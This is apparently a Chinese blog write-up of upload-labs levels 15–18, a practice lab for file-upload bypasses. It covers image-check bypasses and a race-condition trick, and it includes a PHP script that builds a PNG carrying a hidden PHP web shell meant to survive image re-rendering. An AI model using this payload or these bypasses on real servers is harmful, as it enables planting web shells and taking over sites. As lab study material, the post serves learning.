upload-labs(15-21)关

第十五关 getimagesize()突破
与十四关类似,十四关图片马继续使用,可过~

第十六关 exif_imagetype()突破
与十四关类似,十四关图片马继续使用,可过~
**注意:**要开启php_exif(phpstudy其他选项菜单——php扩展及设置——php设置——php_exif)

第十七关 图片二次渲染绕过
这关呀,哎~ 清高的我还不屑使用gif(其实是懒,手里只有png,还不想上网下载,有时间再用gif复现吧)

某大牛的脚本(有点懂又不懂就是没懂)

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

虚拟机ubantu16 ,安装php,命令php xx.php(大牛代码) yy.png(png图片)
报错PHP Fatal error: Uncaught Error: Call to undefined function imagecreatetruecolor() in

百度一下

在这里插入图片描述
生成了1.png
在这里插入图片描述
在这里插入图片描述

第十八关 条件竟争绕过
电脑配置不行,就要想别的办法,比如sleep()
竞争不过,就得改源代码,比如在index.php中加sleep(10)

if(move_uploaded_file($temp_file, $upload_file)){
//或是这儿也可呀
        if(in_array($file_ext,$ext_arr)){ 
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            sleep(10);//后加的
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }

上传2.php, 浏览器http://192.168.10.151/upload-labs-master/upload/2.php显示,最后upload文件夹中没有2.php。

学习B站zhzy的视频

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值